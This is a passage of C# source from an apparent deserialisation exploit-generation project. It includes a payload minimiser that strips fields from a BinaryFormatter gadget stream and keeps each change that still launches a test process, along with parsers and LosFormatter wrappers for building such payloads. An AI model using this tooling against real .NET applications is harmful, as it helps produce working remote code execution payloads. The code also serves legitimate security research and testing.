StringBuilder(); 227 | 228 | JObject nullJObject = JObject.Parse(@"{'Id': 0, 229 | 'TypeName': 'ObjectNull', 230 | 'Data': { 231 | '$type': 'ObjectNull', 232 | 'nullCount': 0 233 | }}"); 234 | // remove a Data object 235 | ruleComplete = false; 236 | int externalCounter = 0; 237 | while (!ruleComplete) 238 | { 239 | int internalCounter = 0; 240 | 241 | foreach (JObject item in origJsonJArrayObj) 242 | { 243 | internalCounter++; 244 | bool isExcluded = false; 245 | JToken dataItem = item["Data"]; 246 | foreach (JProperty subDataItem in dataItem) 247 | { 248 | string subDataItemName = subDataItem.Name; 249 | JToken subDataItemValue = subDataItem.Value; 250 | JTokenType subDataItemType = subDataItem.Value.Type; 251 | if (subDataItemName.Equals("$type")) 252 | { 253 | if (subDataItemValue.ToString().Equals("MessageEnd")) 254 | { 255 | ruleComplete = true; 256 | } 257 | else if (subDataItemValue.ToString().Equals("ObjectNull")) 258 | { 259 | isExcluded = true; 260 | } 261 | break; 262 | } 263 | } 264 | 265 | string subDataItemValueStringValue = ""; 266 | 267 | if (item["Data"]["value"] != null) 268 | { 269 | subDataItemValueStringValue = (string)item["Data"]["value"]; 270 | } 271 | 272 | if (isExcluded || valueExclusionList.Contains(subDataItemValueStringValue)) 273 | continue; 274 | 275 | if (!ruleComplete && internalCounter > externalCounter) 276 | { 277 | var currentObjId = item["Data"]["objectId"]; 278 | 279 | string tempValue = item.ToString(); 280 | item.AddAfterSelf(nullJObject); 281 | item.Remove(); 282 | 283 | if (currentObjId != null) 284 | { 285 | // we want to remove objects that have idRef == objectId of our removed item 286 | List refRremovalList = new List(); 287 | foreach (JObject otherItems in origJsonJArrayObj) 288 | { 289 | if (otherItems["Data"]["idRef"] != null) 290 | { 291 | if ((int)otherItems["Data"]["idRef"] == (int)currentObjId) 292 | { 293 | refRremovalList.Add(otherItems); 294 | } 295 | } 296 | } 297 | 298 | foreach (JObject refObject in refRremovalList) 299 | { 300 | refObject.AddAfterSelf(nullJObject); 301 | refObject.Remove(); 302 | } 303 | } 304 | 305 | if (CheckIfSuccess(origJsonJArrayObj.ToString(), myApp, isErrOk, showInfo)) 306 | { 307 | // it is a success so we can remove it! 308 | // we have to start from the beginning! 309 | externalCounter = 0; 310 | jsonJArrayObj = new JArray(origJsonJArrayObj.ToList().ToArray()); 311 | sbSuccessResult.AppendLine("Successful in nullifying:" + tempValue); 312 | } 313 | else 314 | { 315 | // we should not remove it 316 | externalCounter = internalCounter; 317 | origJsonJArrayObj = new JArray(jsonJArrayObj.ToList().ToArray()); 318 | } 319 | 320 | break; 321 | } 322 | } 323 | } 324 | 325 | 326 | return sbSuccessResult; 327 | } 328 | 329 | private static StringBuilder RulesRunner(ref JArray jsonJArrayObj, JProperty currentPropItem, string myApp, bool isErrOk, bool showInfo) 330 | { 331 | return RulesRunner(ref jsonJArrayObj, currentPropItem, -1, myApp, isErrOk, showInfo); 332 | } 333 | 334 | private static StringBuilder RulesRunner(ref JArray jsonJArrayObj, JProperty currentPropItem, int arrNum, string myApp, bool isErrOk, bool showInfo) 335 | { 336 | StringBuilder sbSuccessResult = new StringBuilder(); 337 | var origCurrentItem = currentPropItem.Value.DeepClone(); 338 | JTokenType currentItemType = currentPropItem.Value.Type; 339 | 340 | if (currentItemType == JTokenType.Array) 341 | { 342 | if ((arrNum) > -1) 343 | { 344 | // we are dealing with an array item 345 | currentItemType = currentPropItem.Value[arrNum].Type; 346 | } 347 | } 348 | 349 | switch (currentItemType) 350 | { 351 | case JTokenType.String: 352 | string origValue = currentPropItem.Value.ToString(); 353 | 354 | if (arrNum > -1) 355 | { 356 | origValue = currentPropItem.Value[arrNum].ToString(); 357 | } 358 | 359 | // replace a string with null 360 | if (arrNum == -1) 361 | { 362 | currentPropItem.Value = null; 363 | } 364 | else 365 | { 366 | currentPropItem.Value[arrNum] = null; 367 | } 368 | 369 | if (CheckIfSuccess(jsonJArrayObj.ToString(), myApp, isErrOk, showInfo)) 370 | { 371 | //success 372 | sbSuccessResult.AppendLine("String replaced with null: " + origValue); 373 | break; 374 | } 375 | 376 | // undo 377 | currentPropItem.Value = origCurrentItem.DeepClone(); 378 | 379 | if (!string.IsNullOrEmpty(origValue)) 380 | { 381 | // replace a non empty string with an empty string ('') 382 | if (arrNum == -1) 383 | { 384 | currentPropItem.Value = ""; 385 | } 386 | else 387 | { 388 | currentPropItem.Value[arrNum] = ""; 389 | } 390 | 391 | 392 | if (CheckIfSuccess(jsonJArrayObj.ToString(), myApp, isErrOk, showInfo)) 393 | { 394 | //success 395 | sbSuccessResult.AppendLine("String replaced with empty: " + origValue); 396 | break; 397 | } 398 | 399 | // undo 400 | currentPropItem.Value = origCurrentItem.DeepClone(); 401 | 402 | if (origValue.Length > 1) 403 | { 404 | // replace a non empty string greater than one character with one character ('x') 405 | if (arrNum == -1) 406 | { 407 | currentPropItem.Value = "x"; 408 | } 409 | else 410 | { 411 | currentPropItem.Value[arrNum] = "x"; 412 | } 413 | 414 | if (CheckIfSuccess(jsonJArrayObj.ToString(), myApp, isErrOk, showInfo)) 415 | { 416 | //success 417 | sbSuccessResult.AppendLine("String replaced with 'x': " + origValue); 418 | break; 419 | } 420 | 421 | // undo 422 | currentPropItem.Value = origCurrentItem.DeepClone(); 423 | 424 | if (origValue.Contains(" ")) 425 | { 426 | // replace space in string if it contains a space 427 | if (arrNum == -1) 428 | { 429 | currentPropItem.Value = origValue.Replace(" ", ""); 430 | } 431 | else 432 | { 433 | currentPropItem.Value[arrNum] = origValue.Replace(" ", ""); 434 | } 435 | 436 | if (CheckIfSuccess(jsonJArrayObj.ToString(), myApp, isErrOk, showInfo)) 437 | { 438 | //success 439 | origValue = currentPropItem.Value.ToString(); 440 | 441 | if (arrNum > -1) 442 | { 443 | origValue = currentPropItem.Value[arrNum].ToString(); 444 | } 445 | sbSuccessResult.AppendLine("Space characters removed from: " + origValue); 446 | // we shouldn't break here! we have things to do! 447 | } 448 | else 449 | { 450 | // undo 451 | currentPropItem.Value = origCurrentItem.DeepClone(); 452 | } 453 | } 454 | 455 | origCurrentItem = currentPropItem.Value.DeepClone(); 456 | 457 | string newValue = origValue; 458 | 459 | // replace a full class or assembly string to only keep then class and assembly 460 | Regex asmSection = new Regex(@"([^,]+)\s*[,]\s*Version=[^,]+,\s*Culture=[^,]+,\s*PublicKeyToken=[a-z0-9]{16}", RegexOptions.IgnoreCase); 461 | 462 | foreach (Match match in asmSection.Matches(origValue)) 463 | { 464 | if (arrNum == -1) 465 | { 466 | currentPropItem.Value = newValue.Replace(match.Value, match.Groups[1].Value); 467 | } 468 | else 469 | { 470 | currentPropItem.Value[arrNum] = newValue.Replace(match.Value, match.Groups[1].Value); 471 | } 472 | 473 | if (CheckIfSuccess(jsonJArrayObj.ToString(), myApp, isErrOk, showInfo)) 474 | { 475 | // success 476 | newValue = currentPropItem.Value.ToString(); 477 | if (arrNum > -1) 478 | { 479 | newValue = currentPropItem.Value[arrNum].ToString(); 480 | } 481 | sbSuccessResult.AppendLine("A class or an assembly string became shorter: " + origValue); 482 | origCurrentItem = currentPropItem.Value.DeepClone(); 483 | } 484 | } 485 | 486 | // undo 487 | if (newValue.Equals(origValue)) 488 | { 489 | // failure 490 | currentPropItem.Value = origCurrentItem.DeepClone(); 491 | } 492 | else 493 | { 494 | origValue = newValue; 495 | } 496 | 497 | origCurrentItem = currentPropItem.Value.DeepClone(); 498 | 499 | // replace a full class or assembly string to only keep class 500 | Regex classRegex = new Regex(@"([a-z0-9\.\+_\$`]+)\s*[;,]\s*[a-z0-9\.\+_\$`]+", RegexOptions.IgnoreCase); 501 | 502 | newValue = origValue; 503 | 504 | foreach (Match match in classRegex.Matches(origValue)) 505 | { 506 | if (arrNum == -1) 507 | { 508 | currentPropItem.Value = newValue.Replace(match.Value, match.Groups[1].Value); 509 | } 510 | else 511 | { 512 | currentPropItem.Value[arrNum] = newValue.Replace(match.Value, match.Groups[1].Value); 513 | } 514 | 515 | if (CheckIfSuccess(jsonJArrayObj.ToString(), myApp, isErrOk, showInfo)) 516 | { 517 | // success 518 | newValue = currentPropItem.Value.ToString(); 519 | if (arrNum > -1) 520 | { 521 | newValue = currentPropItem.Value[arrNum].ToString(); 522 | } 523 | sbSuccessResult.AppendLine("A class or an assembly string became shorter: " + origValue); 524 | origCurrentItem = currentPropItem.Value.DeepClone(); 525 | } 526 | } 527 | 528 | // undo if failed 529 | if (arrNum == -1 && !newValue.Equals(currentPropItem.Value.ToString())) 530 | { 531 | currentPropItem.Value = origCurrentItem.DeepClone(); 532 | } 533 | else if (arrNum > -1 && !newValue.Equals(currentPropItem.Value[arrNum].ToString())) 534 | { 535 | currentPropItem.Value = origCurrentItem.DeepClone(); 536 | } 537 | 538 | } 539 | } 540 | 541 | break; 542 | case JTokenType.Integer: 543 | // replace an integer with 0 to N - when int is M and N < M && N < 20 (we need a limit) 544 | var origItemValue = currentPropItem.Value.DeepClone(); 545 | int origIntValue = 0; 546 | 547 | if (arrNum == -1) 548 | { 549 | int.TryParse(currentPropItem.Value.ToString(), out origIntValue); 550 | } 551 | else 552 | { 553 | int.TryParse(currentPropItem.Value[arrNum].ToString(), out origIntValue); 554 | } 555 | 556 | 557 | if (origIntValue > 0) 558 | { 559 | int intCounter = 0; 560 | 561 | while (intCounter < origIntValue && intCounter < 20) 562 | { 563 | 564 | if (arrNum == -1) 565 | { 566 | currentPropItem.Value = intCounter; 567 | } 568 | else 569 | { 570 | currentPropItem.Value[arrNum] = intCounter; 571 | } 572 | 573 | if (CheckIfSuccess(jsonJArrayObj.ToString(), myApp, isErrOk, showInfo)) 574 | { 575 | //success 576 | sbSuccessResult.AppendLine("A number was changed from: " + origIntValue + " to: " + intCounter); 577 | break; 578 | } 579 | else 580 | { 581 | currentPropItem.Value = origItemValue.DeepClone(); 582 | } 583 | 584 | intCounter++; 585 | } 586 | } 587 | break; 588 | default: 589 | // convert to null 590 | currentPropItem.Value = null; 591 | if (CheckIfSuccess(jsonJArrayObj.ToString(), myApp, isErrOk, showInfo)) 592 | { 593 | //success 594 | sbSuccessResult.AppendLine("An item was replaced with null: " + origCurrentItem.ToString()); 595 | break; 596 | } 597 | // undo 598 | currentPropItem.Value = origCurrentItem.DeepClone(); 599 | break; 600 | } 601 | 602 | return sbSuccessResult; 603 | } 604 | 605 | private static bool CheckIfSuccess(string strJson, string myApp, bool isErrOk, bool showInfo) 606 | { 607 | bool result = true; 608 | 609 | try 610 | { 611 | if (!BinaryFormatterDeserializeABFJson(strJson, showInfo)) 612 | { 613 | if (!isErrOk) 614 | { 615 | // we have error but we don't like errors 616 | result = false; 617 | } 618 | } 619 | } 620 | catch 621 | { 622 | if (!isErrOk) 623 | { 624 | // we have error but we don't like errors 625 | result = false; 626 | } 627 | } 628 | 629 | 630 | if (!KillMyProcess(myApp)) 631 | { 632 | // no app was found so the code exec did not work 633 | result = false; 634 | } 635 | 636 | return result; 637 | } 638 | public static object BinaryFormatter_deserialize(byte[] byteArray) 639 | { 640 | MemoryStream ms = new MemoryStream(byteArray); 641 | return BinaryFormatter_deserialize(ms); 642 | } 643 | public static object BinaryFormatter_deserialize(MemoryStream ms) 644 | { 645 | ms.Position = 0; 646 | System.Runtime.Serialization.Formatters.Binary.BinaryFormatter bf = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter(); 647 | return bf.Deserialize(ms); 648 | } 649 | private static bool BinaryFormatterDeserializeABFJson(string strJson, bool showInfo) 650 | { 651 | bool noError = true; 652 | try 653 | { 654 | MemoryStream ms = AdvancedBinaryFormatterParser.JsonToStream(strJson); 655 | 656 | /* 657 | ms.Position = 0; 658 | BinaryFormatter bf = new BinaryFormatter(); 659 | var task = Task.Run(() => bf.Deserialize(ms)); 660 | //*/ 661 | 662 | var task = Task.Run(() => { try { BinaryFormatter_deserialize(ms.ToArray()); } catch (Exception e) { noError = false; } }); 663 | 664 | if (!task.Wait(TimeSpan.FromSeconds(5))) 665 | { 666 | noError = false; 667 | if(showInfo) 668 | Console.WriteLine("The formatter is not responding - infinite loop because of parameters."); 669 | } 670 | 671 | 672 | 673 | } 674 | catch (Exception e) 675 | { 676 | noError = false; 677 | } 678 | 679 | return noError; 680 | } 681 | 682 | private static bool KillMyProcess(string myprocess) 683 | { 684 | bool processFound = false; 685 | foreach (Process myp in Process.GetProcessesByName(myprocess)) 686 | { 687 | // It has worked 688 | processFound = true; 689 | // killing any existing TestConsoleApp_YSONET to be ready 690 | try 691 | { 692 | myp.Kill(); 693 | } 694 | catch 695 | { 696 | // hopefully it is just a race condition and all has been closed!!! 697 | // just to be on the safe side: 698 | processFound = KillMyProcess(myprocess); 699 | } 700 | 701 | } 702 | 703 | return processFound; 704 | } 705 | } 706 | } 707 | -------------------------------------------------------------------------------- /ModifiedVulnerableBinaryFormatters/Environment.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Globalization; 3 | using System.IO; 4 | 5 | namespace suo_exploit_test.Helpers.ModifiedVulnerableBinaryFormatters 6 | { 7 | public static class Environment 8 | { 9 | public static String GetResourceString(string str) 10 | { 11 | return str; 12 | } 13 | 14 | public static String GetResourceString(String key, params Object[] values) 15 | { 16 | String s = GetResourceString(key); 17 | return String.Format(CultureInfo.CurrentCulture, s, values); 18 | } 19 | 20 | public static void GetResourceString(string str, out Object test) 21 | { 22 | test = str; 23 | } 24 | 25 | public static Exception GetResourceString(string str, Stream test) 26 | { 27 | return new Exception(str); 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /ModifiedVulnerableBinaryFormatters/ObjectExtensions.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Reflection; 3 | using System.ArrayExtensions; 4 | 5 | // from https://github.com/Burtsev-Alexey/net-object-deep-copy 6 | 7 | namespace System 8 | { 9 | public static class ObjectExtensions 10 | { 11 | private static readonly MethodInfo CloneMethod = typeof(Object).GetMethod("MemberwiseClone", BindingFlags.NonPublic | BindingFlags.Instance); 12 | 13 | public static bool IsPrimitive(this Type type) 14 | { 15 | if (type == typeof(String)) return true; 16 | return (type.IsValueType & type.IsPrimitive); 17 | } 18 | 19 | public static Object Copy(this Object originalObject) 20 | { 21 | return InternalCopy(originalObject, new Dictionary(new ReferenceEqualityComparer())); 22 | } 23 | private static Object InternalCopy(Object originalObject, IDictionary visited) 24 | { 25 | if (originalObject == null) return null; 26 | var typeToReflect = originalObject.GetType(); 27 | if (IsPrimitive(typeToReflect)) return originalObject; 28 | if (visited.ContainsKey(originalObject)) return visited[originalObject]; 29 | if (typeof(Delegate).IsAssignableFrom(typeToReflect)) return null; 30 | var cloneObject = CloneMethod.Invoke(originalObject, null); 31 | if (typeToReflect.IsArray) 32 | { 33 | var arrayType = typeToReflect.GetElementType(); 34 | if (IsPrimitive(arrayType) == false) 35 | { 36 | Array clonedArray = (Array)cloneObject; 37 | clonedArray.ForEach((array, indices) => array.SetValue(InternalCopy(clonedArray.GetValue(indices), visited), indices)); 38 | } 39 | 40 | } 41 | visited.Add(originalObject, cloneObject); 42 | CopyFields(originalObject, visited, cloneObject, typeToReflect); 43 | RecursiveCopyBaseTypePrivateFields(originalObject, visited, cloneObject, typeToReflect); 44 | return cloneObject; 45 | } 46 | 47 | private static void RecursiveCopyBaseTypePrivateFields(object originalObject, IDictionary visited, object cloneObject, Type typeToReflect) 48 | { 49 | if (typeToReflect.BaseType != null) 50 | { 51 | RecursiveCopyBaseTypePrivateFields(originalObject, visited, cloneObject, typeToReflect.BaseType); 52 | CopyFields(originalObject, visited, cloneObject, typeToReflect.BaseType, BindingFlags.Instance | BindingFlags.NonPublic, info => info.IsPrivate); 53 | } 54 | } 55 | 56 | private static void CopyFields(object originalObject, IDictionary visited, object cloneObject, Type typeToReflect, BindingFlags bindingFlags = BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.FlattenHierarchy, Func filter = null) 57 | { 58 | foreach (FieldInfo fieldInfo in typeToReflect.GetFields(bindingFlags)) 59 | { 60 | if (filter != null && filter(fieldInfo) == false) continue; 61 | if (IsPrimitive(fieldInfo.FieldType)) continue; 62 | var originalFieldValue = fieldInfo.GetValue(originalObject); 63 | var clonedFieldValue = InternalCopy(originalFieldValue, visited); 64 | fieldInfo.SetValue(cloneObject, clonedFieldValue); 65 | } 66 | } 67 | public static T Copy(this T original) 68 | { 69 | return (T)Copy((Object)original); 70 | } 71 | } 72 | 73 | public class ReferenceEqualityComparer : EqualityComparer 74 | { 75 | public override bool Equals(object x, object y) 76 | { 77 | return ReferenceEquals(x, y); 78 | } 79 | public override int GetHashCode(object obj) 80 | { 81 | if (obj == null) return 0; 82 | return obj.GetHashCode(); 83 | } 84 | } 85 | 86 | namespace ArrayExtensions 87 | { 88 | public static class ArrayExtensions 89 | { 90 | public static void ForEach(this Array array, Action action) 91 | { 92 | if (array.LongLength == 0) return; 93 | ArrayTraverse walker = new ArrayTraverse(array); 94 | do action(array, walker.Position); 95 | while (walker.Step()); 96 | } 97 | } 98 | 99 | internal class ArrayTraverse 100 | { 101 | public int[] Position; 102 | private int[] maxLengths; 103 | 104 | public ArrayTraverse(Array array) 105 | { 106 | maxLengths = new int[array.Rank]; 107 | for (int i = 0; i < array.Rank; ++i) 108 | { 109 | maxLengths[i] = array.GetLength(i) - 1; 110 | } 111 | Position = new int[array.Rank]; 112 | } 113 | 114 | public bool Step() 115 | { 116 | for (int i = 0; i < Position.Length; ++i) 117 | { 118 | if (Position[i] < maxLengths[i]) 119 | { 120 | Position[i]++; 121 | for (int j = 0; j < i; j++) 122 | { 123 | Position[j] = 0; 124 | } 125 | return true; 126 | } 127 | } 128 | return false; 129 | } 130 | } 131 | } 132 | 133 | } -------------------------------------------------------------------------------- /ModifiedVulnerableBinaryFormatters/SerTrace.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | 4 | namespace suo_exploit_test.Helpers.ModifiedVulnerableBinaryFormatters 5 | { 6 | 7 | public static class SerTrace 8 | { 9 | internal static void InfoLog(params Object[] messages) 10 | { 11 | BCLDebug.Trace("BINARY", messages); 12 | } 13 | 14 | internal static void Log(params Object[] messages) 15 | { 16 | if (!(messages[0] is String)) 17 | messages[0] = (messages[0].GetType()).Name + " "; 18 | else 19 | messages[0] = messages[0] + " "; 20 | BCLDebug.Trace("BINARY", messages); 21 | } 22 | } 23 | 24 | public static class BCLDebug 25 | { 26 | public static bool isLoggingEnabled = false; // This is to enable debugging in suo_exploit_test.net - for developers not normal users! 27 | 28 | public static void Trace(String switchName, params Object[] messages) 29 | { 30 | if (!isLoggingEnabled) 31 | { 32 | return; 33 | } 34 | 35 | StringBuilder sb = new StringBuilder(); 36 | 37 | for (int i = 0; i < messages.Length; i++) 38 | { 39 | String s; 40 | try 41 | { 42 | if (messages[i] == null) 43 | { 44 | s = ""; 45 | } 46 | else 47 | { 48 | s = messages[i].ToString(); 49 | } 50 | } 51 | catch 52 | { 53 | s = ""; 54 | } 55 | sb.Append(s); 56 | } 57 | 58 | sb.Append(System.Environment.NewLine); 59 | Console.WriteLine(sb); 60 | } 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /ModifiedVulnerableBinaryFormatters/SimpleBinaryFormatterParser.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Collections.Generic; 4 | using System.Runtime.Serialization.Formatters; 5 | using System.Runtime.Serialization; 6 | using System.Text; 7 | 8 | namespace suo_exploit_test.Helpers.ModifiedVulnerableBinaryFormatters 9 | { 10 | // Always use AdvancedBinaryFormatterParser wherever possible as this one is not as readable and is only a quick fix for when we desperately need to create a serialized object very fast! 11 | public class SimpleBinaryFormatterParser 12 | { 13 | public static SimpleBinaryFormatterRootObject StreamToSimpleBinaryFormatterRootObject(Stream serializationStream) 14 | { 15 | if (serializationStream.CanRead) 16 | serializationStream.Position = 0; 17 | 18 | InternalFE formatterEnums = new InternalFE(); 19 | formatterEnums.FEtypeFormat = FormatterTypeStyle.TypesAlways; 20 | formatterEnums.FEserializerTypeEnum = InternalSerializerTypeE.Binary; 21 | formatterEnums.FEassemblyFormat = FormatterAssemblyStyle.Simple; 22 | formatterEnums.FEsecurityLevel = TypeFilterLevel.Low; 23 | ISurrogateSelector m_surrogates = null; 24 | StreamingContext m_context = new StreamingContext(StreamingContextStates.All); 25 | SerializationBinder m_binder = null; 26 | //bool fCheck = false; 27 | //HeaderHandler handler = null; 28 | 29 | ObjectReader objectReader = new ObjectReader(serializationStream, m_surrogates, m_context, formatterEnums, m_binder); 30 | __BinaryParser serParser = new __BinaryParser(serializationStream, objectReader); 31 | //BinaryReader dataReader = new BinaryReader(serializationStream, new UTF8Encoding(false, true)); 32 | 33 | return serParser.RunModified(); 34 | } 35 | 36 | public static MemoryStream SimpleBinaryFormatterRootObjectToStream(SimpleBinaryFormatterRootObject inBinaryFormatterRootObject) 37 | { 38 | int fullsize = CalculateSizeOfbfObject(inBinaryFormatterRootObject); 39 | 40 | MemoryStream ms = new MemoryStream(fullsize); 41 | 42 | ms.Write(inBinaryFormatterRootObject.headerBytes, 0, inBinaryFormatterRootObject.headerBytes.Length); 43 | foreach (SimpleBinaryFormatterObject bfObj in inBinaryFormatterRootObject.binaryFormatterObjects) 44 | { 45 | if (bfObj.typeBytes != null) 46 | ms.Write(bfObj.typeBytes, 0, bfObj.typeBytes.Length); 47 | 48 | if (bfObj.valueBytes != null) 49 | ms.Write(bfObj.valueBytes, 0, bfObj.valueBytes.Length); 50 | } 51 | return ms; 52 | } 53 | 54 | public static MemoryStream JsonToStream(String jsonNet_str) 55 | { 56 | SimpleBinaryFormatterRootObject deserialized_obj = (SimpleBinaryFormatterRootObject)Newtonsoft.Json.JsonConvert.DeserializeObject(jsonNet_str, typeof(SimpleBinaryFormatterRootObject)); 57 | return SimpleBinaryFormatterRootObjectToStream(deserialized_obj); 58 | } 59 | 60 | public static String SimpleBinaryFormatterRootObjectToJson(SimpleBinaryFormatterRootObject inBinaryFormatterRootObject) 61 | { 62 | return Newtonsoft.Json.JsonConvert.SerializeObject(inBinaryFormatterRootObject, typeof(Helpers.ModifiedVulnerableBinaryFormatters.SimpleBinaryFormatterRootObject), null); 63 | } 64 | 65 | public static int CalculateSizeOfbfObject(SimpleBinaryFormatterRootObject inBinaryFormatterRootObject) 66 | { 67 | int size = 17; // fized header size 68 | 69 | foreach (SimpleBinaryFormatterObject bfObj in inBinaryFormatterRootObject.binaryFormatterObjects) 70 | { 71 | if (bfObj.typeBytes != null) 72 | size += bfObj.typeBytes.Length; 73 | 74 | if (bfObj.valueBytes != null) 75 | size += bfObj.valueBytes.Length; 76 | } 77 | 78 | return size; 79 | } 80 | 81 | // This was buggy so it was replaced: 82 | /* 83 | public static byte[] Calculate7BitEncodedInt(int value) 84 | { 85 | // it cannot be more than 5 bytes according to [MS-NRBF] 86 | byte[] output = new byte[1]; 87 | // Similar to Write7BitEncodedInt from System.IO.BinaryWriter 88 | uint v = (uint)value; 89 | int counter = 0; 90 | 91 | while (v >= 0x80) 92 | { 93 | if (counter > 1) 94 | Array.Resize(ref output, counter + 1); 95 | 96 | output[counter] = ((byte)(v | 0x80)); 97 | v >>= 7; 98 | counter++; 99 | } 100 | 101 | if (counter > 0) 102 | Array.Resize(ref output, counter + 1); 103 | 104 | output[counter] = ((byte)v); 105 | 106 | return output; 107 | } 108 | */ 109 | // Thanks to a previously submitted code by Dane Evans 110 | public static byte[] Calculate7BitEncodedInt(int value) 111 | { 112 | List bytes = new List(); 113 | 114 | uint num; 115 | for (num = (uint)value; num >= 128U; num >>= 7) 116 | { 117 | bytes.Add((byte)(num | 128U)); 118 | } 119 | 120 | bytes.Add((byte)num); 121 | return bytes.ToArray(); 122 | } 123 | 124 | public static byte[] Create7bitLengthObjectString(string strInput) 125 | { 126 | byte[] size = Calculate7BitEncodedInt(strInput.Length); 127 | byte[] value = Encoding.UTF8.GetBytes(strInput); 128 | return ConcatTwoByteArrays(size, value); 129 | } 130 | 131 | public static byte[] ConcatTwoByteArrays(byte[] arr1, byte[] arr2) 132 | { 133 | byte[] result = new byte[arr1.Length + arr2.Length]; 134 | Array.Copy(arr1, 0, result, 0, arr1.Length); 135 | Array.Copy(arr2, 0, result, arr1.Length, arr2.Length); 136 | return result; 137 | } 138 | } 139 | 140 | [Serializable] 141 | public class SimpleBinaryFormatterRootObject 142 | { 143 | public SimpleBinaryFormatterRootObject() { } 144 | 145 | // Needed in reconstruction although should be always fixed 146 | public byte[] headerBytes = new byte[17]; 147 | 148 | // This is for information when debugging 149 | [NonSerialized] 150 | public int size = -1; 151 | 152 | // Needed in reconstruction 153 | public List binaryFormatterObjects = new List(); 154 | } 155 | 156 | [Serializable] 157 | public class SimpleBinaryFormatterObject 158 | { 159 | public SimpleBinaryFormatterObject() { } 160 | 161 | // We keep this in serialization so we can easily point to an item - not needed in reconstruction 162 | public int orderId = -1; 163 | 164 | // This is for information when debugging 165 | [NonSerialized] 166 | public int valueSize = -1; 167 | 168 | // Needed in reconstruction 169 | public byte[] typeBytes; // it should be just one type but this is for simplicity 170 | 171 | // Needed in reconstruction 172 | public byte[] valueBytes; 173 | 174 | // This is for information when debugging 175 | [NonSerialized] 176 | public string valueString; 177 | 178 | // This is for information when debugging 179 | [NonSerialized] 180 | public String typeName; 181 | 182 | // This is for information when debugging 183 | [NonSerialized] 184 | public String expectedTypeName; 185 | 186 | // This is for information when debugging 187 | [NonSerialized] 188 | public int origStreamStartPosition; 189 | 190 | // This is for information when debugging 191 | [NonSerialized] 192 | public int origStreamEndPosition; 193 | } 194 | 195 | } 196 | -------------------------------------------------------------------------------- /ModifiedVulnerableBinaryFormatters/SimpleObjectLosFormatter.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | 5 | namespace suo_exploit_test.Helpers.ModifiedVulnerableBinaryFormatters 6 | { 7 | public class SimpleMinifiedObjectLosFormatter 8 | { 9 | public static MemoryStream Serialize(Object inputObj) 10 | { 11 | ModifiedVulnerableBinaryFormatters.BinaryFormatter fmtLocal = new ModifiedVulnerableBinaryFormatters.BinaryFormatter(); 12 | 13 | MemoryStream ms = new MemoryStream(); 14 | fmtLocal.Serialize(ms, inputObj); 15 | 16 | return BFStreamToLosFormatterStream(ms); 17 | } 18 | 19 | public static MemoryStream BFStreamToLosFormatterStream(MemoryStream serializedStream) 20 | { 21 | return new MemoryStream(BFStreamToLosFormatterStream(serializedStream.ToArray())); 22 | } 23 | 24 | public static byte[] BFStreamToLosFormatterStream(byte[] serializedBytes) 25 | { 26 | byte[] inputSize7Bit = SimpleBinaryFormatterParser.Calculate7BitEncodedInt(serializedBytes.Length); 27 | byte[] newSerializedData = new byte[3 + inputSize7Bit.Length + serializedBytes.Length]; 28 | serializedBytes.CopyTo(newSerializedData, 3 + inputSize7Bit.Length); 29 | newSerializedData[0] = 0xff; // header 30 | newSerializedData[1] = 0x01; // 1 object 31 | newSerializedData[2] = 0x32; // type object 32 | // length here 33 | inputSize7Bit.CopyTo(newSerializedData, 3); 34 | 35 | return Encoding.UTF8.GetBytes(Convert.ToBase64String(newSerializedData)); 36 | } 37 | 38 | 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /ModifiedVulnerableBinaryFormatters/binaryconverter.cs: -------------------------------------------------------------------------------- 1 | // ==++== 2 | // 3 | // Copyright (c) Microsoft Corporation. All rights reserved. 4 | // 5 | // ==--== 6 | /*============================================================ 7 | ** 8 | ** Class: Converter 9 | ** 10 | ** 11 | ** Purpose: Hexify and bin.base64 conversions 12 | ** 13 | ** 14 | ===========================================================*/ 15 | 16 | 17 | namespace suo_exploit_test.Helpers.ModifiedVulnerableBinaryFormatters { 18 | 19 | using System.Threading; 20 | using System.Runtime.Remoting; 21 | using System.Runtime.Serialization; 22 | using System; 23 | using System.Reflection; 24 | using System.Globalization; 25 | using System.Text; 26 | using System.Security.Permissions; 27 | using System.Diagnostics.Contracts; 28 | 29 | sealed internal class Converter 30 | { 31 | private Converter() 32 | { 33 | } 34 | 35 | 36 | private static int primitiveTypeEnumLength = 17; //Number of PrimitiveTypeEnums 37 | 38 | // The following section are utilities to read and write XML types 39 | 40 | internal static InternalPrimitiveTypeE ToCode(Type type) 41 | { 42 | SerTrace.Log("Converter", "ToCode Type Entry ",type); 43 | InternalPrimitiveTypeE code; 44 | 45 | if ((object)type != null && !type.IsPrimitive) 46 | { 47 | if (Object.ReferenceEquals(type, typeofDateTime)) 48 | code = InternalPrimitiveTypeE.DateTime; 49 | else if (Object.ReferenceEquals(type, typeofTimeSpan)) 50 | code = InternalPrimitiveTypeE.TimeSpan; 51 | else if (Object.ReferenceEquals(type, typeofDecimal)) 52 | code = InternalPrimitiveTypeE.Decimal; 53 | else 54 | code = InternalPrimitiveTypeE.Invalid; 55 | } 56 | else 57 | code = ToPrimitiveTypeEnum(Type.GetTypeCode(type)); 58 | 59 | SerTrace.Log("Converter", "ToCode Exit " , ((Enum)code).ToString()); 60 | return code; 61 | } 62 | 63 | 64 | 65 | 66 | internal static bool IsWriteAsByteArray(InternalPrimitiveTypeE code) 67 | { 68 | bool isWrite = false; 69 | 70 | switch (code) 71 | { 72 | case InternalPrimitiveTypeE.Boolean: 73 | case InternalPrimitiveTypeE.Char: 74 | case InternalPrimitiveTypeE.Byte: 75 | case InternalPrimitiveTypeE.Double: 76 | case InternalPrimitiveTypeE.Int16: 77 | case InternalPrimitiveTypeE.Int32: 78 | case InternalPrimitiveTypeE.Int64: 79 | case InternalPrimitiveTypeE.SByte: 80 | case InternalPrimitiveTypeE.Single: 81 | case InternalPrimitiveTypeE.UInt16: 82 | case InternalPrimitiveTypeE.UInt32: 83 | case InternalPrimitiveTypeE.UInt64: 84 | isWrite = true; 85 | break; 86 | } 87 | return 